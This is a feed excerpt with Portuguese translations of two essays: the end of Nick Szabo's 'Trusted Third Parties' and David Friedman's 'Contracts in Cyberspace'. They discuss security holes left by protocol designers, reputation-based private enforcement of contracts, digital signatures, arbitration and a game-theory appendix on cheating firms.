&lt;p>Geralmente, o designer de protocolo não consegue descobrir como consertar uma vulnerabilidade. Se o ataque que se precisa de um TTP para proteger não é uma séria ameaça real no contexto do aplicativo que o projetista está tentando proteger, é melhor simplesmente deixar a pequena brecha sem solução do que atribuir a tarefa a um TTP. No caso da criptografia de chave pública, por exemplo, os designers de protocolo não descobriram como evitar um ataque &amp;ldquo;man-in-the-middle&amp;rdquo; (MITM) durante a troca de chave inicial. O SSL tentou impedir isso exigindo as CAs como terceiros confiáveis, conforme descrito acima, e essa solução custou à comunidade da Web bilhões de dólares em taxas de certificados e oportunidades perdidas de proteger as comunicações. O &lt;a href="http://www.openssh.com/" target="_blank" rel="noopener noreferrer">SSH&lt;/a>
, por outro lado, decidiu simplesmente deixar esta pequena brecha sem solução. A brecha do MITM nunca foi, até onde sei, explorado para comprometer a privacidade de um usuário de SSH, mas o SSH é muito mais usado para proteger a privacidade do que o SSL, por uma pequena fração do custo. Essa abordagem econômica da segurança foi examinada mais detalhadamente por &lt;a href="http://iang.org/papers/spock.html" target="_blank" rel="noopener noreferrer">Ian Grigg&lt;/a>
.&lt;/p>
&lt;h2 id="decifrando-a-terminologia">Decifrando a terminologia&lt;/h2>
&lt;p>&lt;a href="http://www.eros-os.org/pipermail/cap-talk/2005-February/003128.html" target="_blank" rel="noopener noreferrer">Alan Karp&lt;/a>
, &lt;a href="http://www.eros-os.org/pipermail/e-lang/2004-February/009555.html" target="_blank" rel="noopener noreferrer">Mark Miller&lt;/a>
, e outros observaram a confusão sobre palavras como &amp;ldquo;confiança&amp;rdquo; e &amp;ldquo;confiável&amp;rdquo; como usadas na comunidade de segurança e propôs a substituição do verbo &amp;ldquo;confiar&amp;rdquo; por &amp;ldquo;é vulneravel a&amp;rdquo;. Essa substituição é uma ótima maneira de esclarecer radicalmente os projetos de protocolo de segurança. &amp;ldquo;Terceiro confiável&amp;rdquo;, conforme usado neste ensaio, torna-se &amp;ldquo;terceiro vulnerável&amp;rdquo;, e o ponto deste artigo, que se trata de uma brecha de segurança, torna-se óbvio.&lt;/p>
&lt;p>No contexto dos designs de protocolo, em vez de dizer que o designer de protocolo confia em alguma classe genérica pouco conhecida de partes (mencionada no singular como &amp;ldquo;uma terceira parte confiável&amp;rdquo;) com uma determinada autorização (o que provavelmente significa que o designer de protocolo apenas pode não descobrir como consertar uma falha de segurança), um designer de protocolo honesto admitirá que há uma vulnerabilidade aqui – e que cabe aos mecanismos &amp;ldquo;fora da banda&amp;rdquo; consertar ou minimizar, ou até os usuários ignorarem, essa falha. A classe das partes é pouco conhecida porque os projetistas de protocolos de segurança normalmente não sabem muito sobre as soluções tradicionais de segurança, legais e institucionais não digitais necessárias para tornar essa parte confiável. A substituição de &amp;ldquo;confiável&amp;rdquo; por “vulnerável” funciona bem no design do protocolo e na comunicação honesta sobre a segurança de um protocolo.&lt;/p>
&lt;p>Infelizmente, os projetistas de segurança e vendedores de sistemas de segurança que invocam &amp;ldquo;terceiros confiáveis&amp;rdquo;, &amp;ldquo;computação confiável&amp;rdquo; e coisas assim realmente vão sair e admitir que seus protocolos são &amp;ldquo;vulneráveis&amp;rdquo;? Os projetos de segurança soam muito mais seguros quando usam o eufemismo &amp;ldquo;confiança&amp;rdquo;.&lt;/p>
&lt;p>No mundo real, além do contexto técnico do projeto de protocolo de segurança, a &amp;ldquo;confiança&amp;rdquo; tem uma variedade de significados. Um uso diferente de &amp;ldquo;confiança&amp;rdquo; é confiança bem informada, por exemplo &amp;ldquo;Eu confio nessa armadura para me proteger de balas normais, porque ela tem sido muito bem testada&amp;rdquo;, &amp;ldquo;Eu confio neste site com essa autorização porque estamos usando um forte protocolo de segurança para proteger-me quando eu conceder essa autorização &amp;ldquo;, ou &amp;ldquo;Eu confio em minha esposa com as crianças&amp;rdquo;, em que casos traduzindo &amp;ldquo;confiança&amp;rdquo; para &amp;ldquo;estou vulnerável a&amp;rdquo; seria para inverter o seu significado. Essa &amp;ldquo;confiança&amp;rdquo; pode assumir significados praticamente opostos, dependendo do contexto, é outro forte argumento para evitar o uso da palavra ao descrever as vulnerabilidades, ou a falta dela, dos protocolos de segurança. Se um designer pensa que ele confia ou deve confiar em alguma classe genérica de partes é uma coisa. Se um usuário em particular realmente confiará em uma determinada entidade nessa classe quando o protocolo for realmente executado é outra questão. Se a confiança do usuário ou a confiança do designer está bem informada, ainda é outra questão.&lt;/p>
&lt;h2 id="conclusão">Conclusão&lt;/h2>
&lt;p>A segurança tradicional é dispendiosa e arriscada. A segurança digital, quando bem projetada, diminui drasticamente em custo ao longo do tempo. Quando um designer de protocolo invoca ou assume um TTP, ele(a) está criando a necessidade de uma nova organização para tentar resolver um problema de segurança não resolvido por meio de métodos tradicionais de segurança e controle. Especialmente em um contexto digital, esses métodos exigem gastos elevados contínuos pelo TTP e o TTP cria um gargalo que impõe altos custos e riscos contínuos ao usuário final.&lt;/p>
&lt;p>Uma metodologia muito melhor é trabalhar a partir de TTPs que são bem conhecidos, ou fáceis de caracterizar, e de custo mínimo. O melhor &amp;ldquo;TTP&amp;rdquo; de todos é aquele que não existe, mas cuja necessidade foi eliminada pelo design do protocolo, ou que foi automatizado e distribuído entre as partes de um protocolo. A última estratégia deu origem às áreas mais promissoras da pesquisa de protocolo de segurança, incluindo mixagens digitais, cálculos privados multipartidários e bancos de dados resilientes bizantinos. Essas e outras implementações similares serão usadas para reduzir radicalmente o custo dos TTPs atuais e resolver os muitos problemas pendentes em privacidade, integridade, direitos de propriedade e cumprimento de contratos, minimizando os custos muito altos de criação e operação de novas instituições de TTP.&lt;/p>
&lt;h2 id="referências">Referências&lt;/h2>
&lt;p>Links no texto.&lt;/p>
&lt;h2 id="agradecimentos">Agradecimentos&lt;/h2>
&lt;p>Meus agradecimentos a Mark Miller, que me incentivou a escrever esses pensamentos e forneceu muitos bons comentários. Meus agradecimentos também a Hal Finney, Marc Stiegler, David Wager e Ian Grigg por seus comentários.&lt;/p>
&lt;hr>
&lt;p>Por favor, envie seus comentários para nszabo (arroba) law (ponto) gwu (ponto) edu&lt;/p>
&lt;p>Copyright © 2001, 2004, 2005 por Nick Szabo
Permissão para redistribuir sem alteração por este concedida&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://nakamotoinstitute.org/trusted-third-parties/" target="_blank" rel="noopener noreferrer">https://nakamotoinstitute.org/trusted-third-parties/&lt;/a>
&lt;/p></content:encoded></item><item><title>Contratos no Ciberespaço</title><link>https://cypherpunks.com.br/documentos/contratos-no-ciberespaco/</link><pubDate>Thu, 04 May 2000 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/contratos-no-ciberespaco/</guid><description>Nas sociedades modernas contratos são fortalecidos de duas maneiras bem diferentes: governamental, através dos tribunais, e privadamente, na maioria das vezes por reputação. Um exemplo no caso dos contratos fortalecidos por reputação, considere uma loja de departamento que garante reembolso caso você não esteja satisfeito com o produto. …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: r3ck
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="david-friedman">David Friedman&lt;/h2>
&lt;p>4 de Maio de 2000&lt;/p>
&lt;p>&lt;/p>
&lt;p>Nas sociedades modernas contratos são fortalecidos de duas maneiras bem diferentes: governamental, através dos tribunais, e privadamente, na maioria das vezes por reputação. Um exemplo no caso dos contratos fortalecidos por reputação, considere uma loja de departamento que garante reembolso caso você não esteja satisfeito com o produto. Se você comprou uma jaqueta do tamanho errado e sua esposa falou que roxo não combina com você, dificilmente você iria processar a loja - o valor não vale o tempo e o trabalho que você teria. Não obstante, quase todas as lojas em uma situação como essa vão, pelo menos em minha experiência, receber o produto de volta e te reembolsar - pois eles querem manter a reputação, com você e com as pessoas que você vai falar sobre o incidente, deles cumprirem promessas.&lt;/p>
&lt;p>Para um caso mais elaborado de contatos fortalecidos por reputação, temos o exemplo da indústria de diamantes de Nova Iorque, como descrito no artigo de Lisa Bernstein [1]. Em um ponto no tempo, um pouco antes dela ter estudando-a, a indústria estava em sua maior parte nas mãos de judeus ortodoxos, que por crença religiosa não processam uns aos outros. As disputas eram então acertadas por meio de um árbitro confiável e por sanções de reputação. Se uma das partes da disputa não aceitasse o veredito do árbitro, isso iria se espalhar pela comunidade de tal forma que ele não poderia mais “funcionar” naquela indústria. O sistema de reputação continuou funcionando mesmo após a indústria ficar com membros mais diversos, com organizações como &lt;em>New York Diamond Dealer’s Club&lt;/em> provendo árbitros confiáveis e espalhando informações.&lt;/p>
&lt;p>A tese central desse artigo é que para os futuros contratos no ciberespaço, contratos governamentais vão funcionar pior e os contratos privados melhor do que funcionam atualmente no “espaço real”. A segunda tese é que enquanto os fatores que fazem os contratos públicos menos funcionais no ciberespaço não vão se aplicar para eles no “espaço real”, por outro lado os que fazem os contratos privados funcionarem melhor no ciberespaço vão fazer eles funcionarem melhor no “espaço real”. Portanto esperamos uma mudança nos contratos de públicos para privados tanto no “espaço real” quanto no ciberespaço, porém com maior força no ciberespaço.&lt;/p>
&lt;h3 id="problemas-na-execução-de-contratos-no-ciberespaço">Problemas na execução de contratos no ciberespaço&lt;/h3>
&lt;p>Atualmente existe um rápido aumento da atividade comercial no ciberespaço, principalmente na WWW. Isso coloca gera dois problemas bem diferentes para os contratos públicos. O primeiro, que será importante em um futuro próximo, é que o ciberespaço não tem fronteiras geográficas, fazer compras de um lugar do outro lado do mundo é tão simples quando comprar algo na esquina. Entrega de mercadorias físicas é mais caro se vier do outro lado do mundo, entretanto boa parte dos produtos no ciberespaço são digitais e serviços, eles podem ser entregues online. Seguindo a lógica cada vez uma porcentagem maior das transações comerciais, principalmente a entre dois indivíduos, vão ser entre partes de países diferentes.&lt;/p>
&lt;p>Contratos governamentais entre partes de dois países diferentes é mais cara e incerta do que se fosse em uma mesma jurisdição. Outro problema é que em um mundo onde as fronteiras são invisíveis, as partes não vão saber quais leis o contrato deve respeitar. Portanto contratos públicos, mesmo ainda sendo possível utilizá-los no futuro para contratos online, serão menos eficientes do que eram no espaço real.&lt;/p>
&lt;p>Um segundo, e mais sério, problema que poderá surgir no futuro resultando do desenvolvimento tecnológico que já existem e estão entrando no uso comum. Essas tecnologias que a parte mais fundamental é a criptografia por chave privada, faz com que seja possível um mundo virtual onde as pessoas façam transações anonimamente com a reputação relacionada a identidade virtual da pessoas e não a identidade real [2].&lt;/p>
&lt;p>Existem diversas razões para que no futuro as pessoas usem essas tecnologias. Uma delas é privacidades, as pessoas não querem que os outros saibam o que elas estão lendo, comprando ou falando online [3]. Uma segunda é para evasão fiscal - é difícil do governo taxar aquilo que ele não está vendo. Uma terceira é para escapar de regulamentações - seja regulações comerciais nos EUA ou regulações religiosas em um país controlado por muçulmanos fundamentalistas. Anonimidade é provavelmente muito atrativa para pessoas vivendo em lugares do mundo onde os direitos de propriedades não são seguros, fazendo com que sigilo seja uma forma valiosa de proteção. Se por razões como essa ou outras uma parte significante do comércio virar anônimo, contratos aplicados publicamente se tornaram cada vez mais irrelevantes, é difícil processar alguém quando não se sabe quem ele é ou em qual continente ele vive.&lt;/p>
&lt;h3 id="fortalecimento-privado-de-contratos">Fortalecimento Privado de Contratos&lt;/h3>
&lt;p>E a alternativa privada? Em um primeiro momento alguém pode achar que os mesmos fatores que fizeram os contratos públicos menos fortalecidos vão fazer com que contratos privados não sejam apenas mais difíceis de aplicar, mas impossíveis. A loja mantém suas promessas, em parte por saber que por saber que se eu estiver insatisfeito por causa deles as pessoas com quem vou falar provavelmente também compram lá, em um futuro sem fronteiras, onde todo mundo compra de todas as partes do mundo, isso é muito menos provável. E não é trivial como atingir a reputação de alguém sem saber o nome da pessoa.&lt;/p>
&lt;p>Ambos problemas são solucionáveis, o comércio online não apenas fornece substitutos para os mecanismos de reputação que já estamos familiarizados, mas alternativas superiores&lt;/p>
&lt;p>Peguemos por exemplo o problema de passar a informação de um consumidor para outro. Comparado com a fofoca local um mecanismo de busca bem feito é muito superior. Atualmente, se estou pensando em fazer negócios online com uma pessoa e quero saber se alguém já teve problemas com ela, eu não vou gastar meu tempo perguntando a amigos ou indo ao Better Business Bureau. Em uma minuto de pesquisa na Deja News vai mostrar se alguém na Usenet News mencionou aquela pessoa no último ano e o que eles falaram sobre ela.&lt;/p>
&lt;p>Os sites de ecommerce já estão usando esses mecanismos. Por exemplo o eBay (um reconhecido site de leilões online), o sistema deles permite que qualquer pessoa que ganhou o leilão colocar um comentário sobre o vendedor - se a mercadoria está como mencionada na descrição, se chegou rápido ou qualquer outra coisa que a pessoa quiser falar. Os comentários estão disponíveis, tanto em forma reduzida como na totalidade, para qualquer um que esteja em um leilão daquele vendedor.&lt;/p>
&lt;p>Até agora eu tenho considerado sistemas de reputação informal, a equivalência online do sistema que mantém a loja de departamento local honesta. E quando a sistemas formais? aqui os sistemas do ciberespaço tem vantagens sobre os do espaço real.&lt;/p>
&lt;p>Pensando um pouco sobre como o sistema de reputação funciona. A razão que a loja, ou o vendedor de diamante desonesto, está preocupado com sua reputação não é por medo de ser odiado, mas por medo de perder negócios. O motivo que seu amigo não vai comprar na loja que você disse que não ia aceitar sua jaqueta de volta não é por querer punir a loja por ter te prejudicado, mas por que ele não quer ser prejudicado. O sistema de reputação funciona espalhando informações verdadeiras sobre mal comportamento, informação que faz com que o receptor dela mude seu comportamento de um modo que seja custoso ao agente que trapaceou.&lt;/p>
&lt;p>A outra parte crítica é o custo da terceira parte de conseguir informações confiáveis sobre o que ocorreu. Na maioria das disputas uma parte aponta o dedo para o outro falando que está certa e a outra está errada. Quando eu conto para meu amigo que fui mal atendido na loja de departamento, espera-se, que ele me conheça bem o bastante para saber se deve ou não confiar em mim. Entretanto quando leio um post na Usenet News criticando uma empresa eu não tenho nenhum tipo de informação sobre o autor. Eu tenho que formar minha opinião baseada em evidência interna - será que o autor parece estar certo? - e consistência com outras fontes de informação, como a resposta de outras pessoas ao post.&lt;/p>
&lt;p>Quando se trata de quantidades substanciais em jogo, arbitragem [4] é um bom mecanismo para diminuir o custo de informação. O vendedor de diamantes de Nova Iorque não precisa saber todos detalhes da controvérsia - basta saber o veredito e se a parte que causou o dano pagou as devidas compensações. O sistema funciona, pois mesmo que a parte não saiba os detalhes da controvérsia, ele sabe que o árbitro é idôneo e competente. Tecnologia computacional apresenta um alternativa que necessita de menos informação além de ser mais barata.&lt;/p>
&lt;h3 id="chaves-e-assinaturas-uma-breve-digressão">Chaves e assinaturas: uma breve digressão&lt;/h3>
&lt;p>Para eu explicar como a equivalência funciona é necessário ter alguns conceitos em mente, se o leitor conhecer conceitos como criptografia de chave pública e assinatura digital pode pular essa parte.&lt;/p>
&lt;p>Criptografia de chave pública é um mecanismo matemático para embaralhar e desembaralhar mensagens. Ela usa duas chaves, números distribuídos de certa forma para embaralhar a mensagem. A “sacada” do sistema de criptografia de chave pública é que uma das chaves é usada para embaralhar a mensagem e a outra para desembaralhar. Se eu tiver uma das duas chaves eu consigo criptografar a mensagem, mas se alguém quiser descriptografar vai precisar utilizar a outra chave. Essas chaves são geradas juntas facilmente, porém é muito complicado calcular uma chave com base na outra.&lt;/p>
&lt;p>Para utilizar criptografia de chave pública é necessário gerar o par de chaves. Uma delas é a chave pública, que você pode compartilhar com qualquer pessoa que você esteja correspondendo, a outra é a privada, que você deve manter completamente em segredo.&lt;/p>
&lt;p>Se alguém quiser te mandar uma mensagem para você ela pode criptografar essa mensagem usando a sua chave pública, como só você tem a chave chave privada somente você pode descriptografar a mensagem. Se alguém quiser assinar uma mensagem digitalmente ele a criptografa usando a chave privada [5] e anexa informações sobre como descriptografar a mensagem se identificando. O destinatário da mensagem obtém a chave pública e a usa para descriptografar a mensagem. Como a mensagem que ele recebeu é possível de ler e não é um monte de dígitos sem nexo, é a prova que foi você que mandou a mensagem, pois só você tem a chave privada para criptografar a mensagem.&lt;/p>
&lt;p>A assinatura digital não só prova que foi você que mandou a mensagem, como assegura que a mensagem não foi alterada, ou seja, o remetente não pode negar que a mensagem é dele. Se o remetente tentar negar a mensagem, o destinatário pode mostrar que ele tem uma versão da mensagem que foi criptografada com a chave privada dele, isto é, só poderia ter sido criptografada pelo remetente.&lt;/p>
&lt;h3 id="fortalecimento-por-reputação-convencendo-partes-terceiras">Fortalecimento por reputação: convencendo partes terceiras&lt;/h3>
&lt;p>Imaginamos que nós estamos assinando um contrato online, especificando os nossos direitos e obrigações com um e outro. Neste contrato incluímos o nome e chave privada do árbitro que concordar em acertar as disputas entre nós. Então assinamos o contrato digitalmente e cada um fica com uma cópia.&lt;/p>
&lt;p>Surge uma disputa, eu acuso você de violar os termos do contrato. Colocamos em questão com o árbitro. Ele julga em meu favor e diz que você deve me pagar $5000 por danos. Você se nega a pagar. Ele escreve o que aconteceu (ele julgou em meu favor e você se negou a aceitar o julgamento), ele assina digitalmente e me dá uma cópia.&lt;/p>
&lt;p>Eu faço um documento (arrumar tempo melhor) juntando o contrato inicial (assinado digitalmente por nós dois e com a chave pública do árbitro) e o relato do árbitro sobre o que ocorreu (assinado digitalmente por ele). Eu envio esse documento para qualquer terceira parte que eu acho que se interessaria em saber se você é confiável e posto em um site para que todo mundo que pesquisa sobre você encontre a informação. A terceira parte (ou melhor, o computador dele), checa a assinatura digital no contrato com a do relato, usando a chave pública do contrato para checar se o árbitro do relato é o mesmo do contrato. A pessoa vai saber que você disse que aceitaria o veredito do árbitro, porém negou posteriormente - e descobrir isso não custou basicamente nenhum tempo.&lt;/p>
&lt;p>Assinaturas digitais, portanto, reduzem drasticamente o custo de uma terceira parte descobrir se alguém é confiável ou não [6], então aumentando o muito o custo de uma empresa ou indivíduo de não serem confiáveis e renegando as cláusulas do contrato.&lt;/p>
&lt;p>Esse tipo de contratos resolvem os problemas colocados por o ciberespaço não ter uma jurisdição geográfica. As leis não são definidas pela jurisdição, mas pelo árbitro escolhido pelas partes. Com o tempo, esperaríamos um ou mais padrões regras legais em relação aos contratos a desenvolver, como a lei historicamente se desenvolveu, com muitos árbitros ou empresas de arbitragem que adotam o mesmo ou regras legais semelhantes [7]. Então, as partes contratantes ai escolheriam árbitros com base na reputação.&lt;/p>
&lt;p>Para transações de pequena escala você simplesmente coloca em seu navegador com uma lista de empresas de arbitragem aceitáveis, quando você contrata uma nova parte o software faz uma intersecção das duas listas. Se não existir um árbitro em comum ambas as partes recebem uma notificação ai dai elas decidem.&lt;/p>
&lt;p>Os contratos privados também resolvem o problema quando uma das partes que permanecer anônima. Assinatura digital permite a combinação de anonimidade com reputação. Um programador que vive na Rússia ou no Iraque e está vendendo seu serviço online tem uma identidade online definida pela sua chave pública, qualquer mensagem assinada por aquela chave pública é dele. Aquela identidade tem uma reputação que foi ganha através de transações online no passado, quanto mais o programador se demonstrou honesto e competente mais pessoas vão querer empregar ele. Reputação é algo valioso, portanto o programador tem interesse em mantê-la respeitando seus contratos [8].&lt;/p>
&lt;h3 id="trapaceando-o-sistema-de-reputação">Trapaceando o Sistema de Reputação&lt;/h3>
&lt;p>Existe pelo menos um jeito que fortalecer os contratos no mundo virtual é mais difícil do que no mundo real. No mundo real minha identidade está ligada ao meu corpo, identificável pela minha face, digitais e tal. Eu não tenho a opção de após destruir minha reputação entrar em um novo corpo com uma cara nova, digitais novas e uma reputação limpa.&lt;/p>
&lt;p>Online eu tenho essa opção. Enquanto tiverem pessoas dispostas a fazerem negócios com pessoas no mundo virtual que não estejam ligadas a uma pessoal real, eu vou ter a opção de começar a usar uma nova chave pública/chave privada e ir online com uma identidade nova e uma reputação limpa.&lt;/p>
&lt;p>Não é que o sistema de reputação não vai funcionar, mas é que ele só vai funcionar para pessoas que tem um capital de reputação grande o bastante para que abandonar a persona online, junto com a reputação dela, seja mais custoso do que o benefício que se ganharia por uma trapaça. Então alguém que quer fazer negócios anonimamente teria que começar pequeno e ir construindo a sua reputação até um ponto que ela é boa o suficiente para que seja racional fazer negócios de maior valor com ele. Possivelmente o mesmo acontece na industria de diamantes atualmente [9].&lt;/p>
&lt;p>O problema de troca de identidade não é limitado ao ciberespaço. Pessoas físicas tem digitais, mas pessoas jurídicas não. O equivalente do espaço real a criar novas chaves é preencher papeis para se criar uma empresa. Existe uma grande literatura sobre o assunto, mostrando que fachadas de mármore para os bancos e campanhas publicitarias caras como um certificado de reputação, que significa que a empresa quer continuar fazendo negócios, dando assim incentivo para que as outras pessoas confiem nela e agir de uma maneira que preservará sua reputação [10]. Uma persona virtual não tem a opção do mármore, pelo menos se quiser continuar anonimo, porém ela pode investir em uma longa serie de negócios ou publicidade, com o objetivo de atrelar isso a performance futura.&lt;/p>
&lt;p>Ficamos com um problema obvio - como fazer com que indivíduos que não tem um grande histórico de transações conseguem garantir performance contratual nesse mundo? A resposta obvia é atrelar a reputação de alguém que já teve um bom histórico de negócios.&lt;/p>
&lt;p>Eu, novamente, sou uma persona online anônima fazendo um contrato que me da a oportunidade de lucrar se quebrar ele. Desta vez, entretanto, não tenho reputação e nem tempo de criar uma reputação. Então eu ofereço fazer um cheque caução e deixar com um árbitro - em uma moeda digital anonima [11], considerando que quero manter minha anonimidade. O árbitro é livre para dar uma parte, ou todo, cheque caução para a outra parte caso eu quebre o contrato [12].&lt;/p>
&lt;p>Essa abordagem ainda depende do fortalecimento por reputação, porém agora a reputação que está em jogo é a do árbitro. Caso ele roube o cheque caução que ficou com ele, dificilmente ele permanecerá no negócio. Se eu estiver preocupado com essa possibilidade eu posso pedir para que esse primeiro árbitro assine um contrato especificando um segundo e independente árbitro para resolver problemas entre eu e o primeiro árbitro. Minha assinatura no contrato não vale quase nada, pois eu não tenho reputação, porém a assinatura do primeiro árbitro no contrato dizendo que ele vai aceitar julgamento do segundo árbitro é lastreada pela reputação do primeiro árbitro.&lt;/p>
&lt;h3 id="conclusão">Conclusão&lt;/h3>
&lt;p>Se os pontos postos por mim estiverem corretos, podemos esperar o aumento de confiança em mecanismo de reputação online, associado a um desenvolvimento de leis privadas. Até certo ponto podemos esperar o mesmo desenvolvimento no espaço real. Assinaturas digitais diminuem o custo da informação a terceiros, sendo ou não uma transação online. A existência de um grupo de árbitros online fará que contratos para arbitração privada fique mais comum e a confiança em arbitragem privada mais fácil para transações tanto no espaço virtual quanto no real.&lt;/p>
&lt;h3 id="apêndice-um-pouco-de-matemática-básica-dos-contratos-de-reputação">APÊNDICE: Um pouco de matemática básica dos contratos de reputação&lt;/h3>
&lt;p>Eu disse que um dos determinantes para ver se o contrato de reputação está funcionando bem é é ver quanto custa para uma terceira parte descobrir se aquela firma trapaceou ou não no passado. Embora sendo óbvio intuitivamente, vale a pena checar se ela está certa através de um modelo de análise formas, mesmo que simples&lt;/p>
&lt;p>Pense que existe um certo número de firmas, metade delas é honesta, metade dela é amoral. Uma empresa honesta nunca vai violar o contrato, já a amoral vai quebrar o contrato se isto aumentar sua riqueza - o valor presente de seus lucro de transações passadas e futuras.&lt;/p>
&lt;p>A cada período uma empresa ganha a oportunidade de fazer um contrato de benefício múltiplo com uma empresa aleatória. Se as empresas concordarem com o contrato e o seguirem cada uma ganha o lucro π.&lt;/p>
&lt;p>Cada contrato permite que uma das firmas (alguma das escolhidas aleatoriamente, mas conhecida antes do contrato ser assinado) a oportunidade de trapacear [13]. Se a empresa aceitar trapacear o seu lucro vais ser πc, e o lucro da empresa vítima vai ser πv. Eu assumo:&lt;/p>
&lt;ul>
&lt;li>πc + π&amp;lt;2π (trapacear é ineficiente)&lt;/li>
&lt;li>πv &amp;lt; 0 (para empresa é melhor não firmar contrato com uma empresa que trapaceia)&lt;/li>
&lt;li>πc &amp;gt; 0 (a empresa tem um lucro maior se trapacear)&lt;/li>
&lt;/ul>
&lt;p>Antes de fechar o contrato, a empresa pode pagar a taxa de procura de S&amp;gt;0 para descobrir se a outra empresa já trapaceou alguma vez.&lt;/p>
&lt;p>O jogo é jogado para sempre.&lt;/p>
&lt;p>Com esses pressupostos, como as empresas vão agir? A empresa que tem a oportunidade de fazer um contrato onde ela é a empresa com possibilidade de trapacear ela faz o contrato sem investigar a empresa, pois o fato da empresa ser honesta ou não afeta o lucro esperado do contrato. Uma empresa, honesta ou não, que tem a oportunidade de um contrato que possivelmente vai fazer ela de vítima, vai fazer uma dessas coisas:&lt;/p>
&lt;ol>
&lt;li>Rejeitar a oportunidade;&lt;/li>
&lt;li>Aceitar;&lt;/li>
&lt;li>Gastar S para pesquisar se a empresa já trapaceou no passado e a partir disso ver se fecha ou não o acordo&lt;/li>
&lt;/ol>
&lt;p>Uma empresa desonesta que tenha a oportunidade de trapacear precisa comparar o ganho pela trapaça - πc - π- com a perda de oportunidade de firmar contratos no futuro, dado que se houver trapaça uma vez investigada as outras empresas vão recusar a oportunidade de fazer.&lt;/p>
&lt;p>Como será o equilíbrio deste sistema? Uma característica, seguindo minhas premissas, é que uma empresa sempre vai trapacear quando tiver a oportunidade ou nunca vai trapacear. Isso segue a premissa que o que vai ser descoberto pela empresa que vai investigar é se ela trapaceou alguma vez, portanto se a empresa trapaceou uma vez ela não sofre perda de reputação por trapacear mais vezes. Com isso, uma das características do equilíbrio é que fc&amp;lt;=.5, a porcentagem de empresas que sempre trapaceiam.&lt;/p>
&lt;p>O segundo ponto em definindo o equilíbrio é a escolha de estratégia por parte da empresa que talvez venha ser vítima de trapaças - qual porcentagem de empresas sempre confia na outra empresa (ft), qual porcentagem sempre desconfia (fd), portanto rejeita automaticamente qualquer contrato que talvez que talvez ela vire uma vítima e qual porcentagem sempre investiga (fi). Como essas são as únicas estratégias possíveis, temos que:&lt;/p>
&lt;p>ft + fd + fi = 1&lt;/p>
&lt;p>A condição para um equilíbrio é que, para cada um dos dois tipos de firmas, cada estratégia que a firma pode escolher produz o mesmo retorno esperado, com exceção das soluções de canto - situações em que há alguma estratégia que ninguém está escolhendo que produz um retorno menor. A condição para um equilíbrio estável é que, começando com o equilíbrio, uma empresa altera sua estratégia, o efeito será tornar essa estratégia menos lucrativa do que outra estratégia que a empresa possa escolher.&lt;/p>
&lt;p>As equações relevantes são:&lt;/p>
&lt;p>Retorno esperado da firma = resultado esperado de todos os casos em que ela é uma vítima em potencial somado a todos os casos em que ela é a traidora em potencial&lt;/p>
&lt;p>O retorno esperado em um caso no qual ela é a vítima em potencial é:&lt;/p>
&lt;ul>
&lt;li>&amp;lt;π&amp;gt;t = π* (1-fc) + πv (lucro esperado se ela escolher confiar)&lt;/li>
&lt;li>&amp;lt;π&amp;gt;d = o (lucro esperado se ela decidir desconfiar) (equação 1D)&lt;/li>
&lt;li>&amp;lt;π&amp;gt;s = π* (1-fc) -S (se ela escolher pesquisa)&lt;/li>
&lt;/ul>
&lt;p>Retorno esperado se ela for a traidora em potencial:&lt;/p>
&lt;ul>
&lt;li>&amp;lt;π&amp;gt;n= π* (1-fd) (se ela nunca trapaceia) (equação 2N)&lt;/li>
&lt;li>&amp;lt;π&amp;gt;c= πc * ft (se ela sempre trapaceia) (equação 2c)&lt;/li>
&lt;/ul>
&lt;p>Suponha que fc=0 - ninguém trapaceia. Como ninguém está trapaceando o melhor a fazer é aceitar o contrato sem fazer pesquisa, portanto ft = 1, entretanto isso implica que trapacear é sempre mais lucrativo do que não trapacear, portanto fc=.5. Com isso não se pode ter uma solução de canto em fc=0.&lt;/p>
&lt;p>E quanto a outra solução de canto para potenciais trapaceadores - fc = .5? Resolvendo para o possível comportamento das vítimas temos que:&lt;/p>
&lt;ul>
&lt;li>&amp;lt;π&amp;gt;t = π* (1-fc) + πv * fc = (π+ πv)(.5)&lt;/li>
&lt;li>&amp;lt;π&amp;gt;d = 0&lt;/li>
&lt;li>&amp;lt;π&amp;gt;s = π* (.5) -s&lt;/li>
&lt;/ul>
&lt;p>Portanto se π+πv&amp;gt;0 (o lucro de um contrato bem sucedido é maior que a perda em caso de trapaça) vítimas potenciais não vão desconfiar. Uma dessas:&lt;/p>
&lt;ul>
&lt;li>S&amp;gt;-πv/2, neste caso a vítima em potencial sempre vai confiar, ou&lt;/li>
&lt;li>S&amp;lt;-πv/2, neste caso a vítima em potencial sempre vai investigar, ou&lt;/li>
&lt;li>S=-πv/2, neste caso a vítima em potencial é indiferente entre pesquisar e não pesquisar&lt;/li>
&lt;/ul>
&lt;p>Mas se a vítima em potencial sempre pesquisar então trapacear não compensa, portanto fc=/=.5&lt;/p>
&lt;p>Portanto a solução de canto em fc=.5 (todo mundo trapaceia quando pode) só existe se S=&amp;gt;-πv/2&lt;/p>
&lt;p>Agora considerando a solução interna: .5&amp;gt;fc&amp;gt;0. Alguns trapaceadores em potencial trapaceiam, outros não. Trapacear seria inequivocamente inferior a não trapacear se nenhum a empresa confiasse, portanto temos que ft&amp;gt;0. Trapacear seria inequivocamente superior a não trapacear se nenhuma vítima em potencial pesquisasse, portanto temos que fs&amp;gt;0. Portanto para ter uma solução interior, o valor de fc deve ser tal (das equação 1T e 1S):&lt;/p>
&lt;ul>
&lt;li>&amp;lt;π&amp;gt;t=π*(1-fc)+ πv&lt;em>fc=&amp;lt;π&amp;gt;π&lt;/em>(1-fc)-S&lt;/li>
&lt;/ul>
&lt;p>Então:&lt;/p>
&lt;ul>
&lt;li>πv*fc=-S&lt;/li>
&lt;/ul>
&lt;p>Em outras palavras, o benefício da investigação, o poupado por não ter sido uma vítima, deve ser igual ao custo.&lt;/p>
&lt;ul>
&lt;li>fc=-s/πv (equação 3)&lt;/li>
&lt;/ul>
&lt;p>Se os parâmetros forem tais, que &amp;lt;π&amp;gt;t=&amp;lt;π&amp;gt;s=&amp;lt;π&amp;gt;d=0, que requer que:&lt;/p>
&lt;ul>
&lt;li>π=[S&lt;em>πv]/[S+πv] == π&lt;/em>&lt;/li>
&lt;/ul>
